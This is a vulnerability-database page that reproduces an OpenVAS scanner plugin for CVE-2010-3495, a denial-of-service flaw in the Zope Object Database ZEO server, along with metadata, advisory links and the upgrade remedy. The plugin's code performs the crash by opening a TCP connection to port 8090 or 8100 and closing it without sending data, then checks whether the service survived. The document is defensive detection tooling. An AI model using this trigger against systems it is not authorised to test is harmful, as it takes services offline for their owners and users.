Lucene search

K
openvasCopyright (c) 2010 Greenbone Networks GmbHOPENVAS:800185
HistoryNov 30, 2010 - 12:00 a.m.

Zope Object Database ZEO Server Denial of Service Vulnerability

2010-11-3000:00:00
Copyright (c) 2010 Greenbone Networks GmbH
plugins.openvas.org
9

0.038 Low

EPSS

Percentile

90.9%

This host is running Zope Object Database and is prone to denial of service
vulnerability.

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_zodb_zeo_server_dos_vuln.nasl 5388 2017-02-21 15:13:30Z teissa $
#
# Zope Object Database ZEO Server Denial of Service Vulnerability
#
# Authors:
# Veerendra GG <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_solution = "Upgrade to version of Zope Object Database (ZODB) 3.10.0 or later
  For updates refer to http://www.zodb.org/

  Also apply the patch from,
  http://launchpadlibrarian.net/10338640/patch.diff";

tag_impact = "Successful exploitation will let the remote unauthenticated attackers to
  cause a denial of service.
  Impact Level: Application";
tag_affected = "Zope Object Database (ZODB) before 3.10.0";
tag_insight = "The flaw is caused by input validation error in file 'ZEO/StorageServer.py'
  in 'notifyConnected()' function, when an unexpected value of None for the
  address or an ECONNABORTED, EAGAIN, or EWOULDBLOCK error encountered.";
tag_summary = "This host is running Zope Object Database and is prone to denial of service
  vulnerability.";

if(description)
{
  script_id(800185);
  script_version("$Revision: 5388 $");
  script_tag(name:"last_modification", value:"$Date: 2017-02-21 16:13:30 +0100 (Tue, 21 Feb 2017) $");
  script_tag(name:"creation_date", value:"2010-11-30 12:42:12 +0100 (Tue, 30 Nov 2010)");
  script_cve_id("CVE-2010-3495");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:N/A:P");
  script_name("Zope Object Database ZEO Server Denial of Service Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/41755");
  script_xref(name : "URL" , value : "https://bugs.launchpad.net/zodb/+bug/135108");
  script_xref(name : "URL" , value : "http://www.openwall.com/lists/oss-security/2010/09/24/3");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (c) 2010 Greenbone Networks GmbH");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl");
  script_require_ports(8090, 8100);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name : "solution" , value : tag_solution);
  exit(0);
}

## Default ZODB Ports 8090, 8100
## exit if ports are not listening
zodbPort = 8090 ;
if(!get_port_state(zodbPort))
{
  zodbPort = 8100 ;
  if(!get_port_state(zodbPort)){
    exit(0);
  }
}

## Open TCP Socket and immediately close the socket
## without sending any data this will trigger an exception
## at server side causing denial of service
soc = open_sock_tcp(zodbPort);
if(!soc){
  exit(0);
}
close(soc);

sleep(5);

## Check still ZODB is listening
soc = open_sock_tcp(zodbPort);
if(!soc){
  security_message(zodbPort);
  exit(0);
}
close(soc);

0.038 Low

EPSS

Percentile

90.9%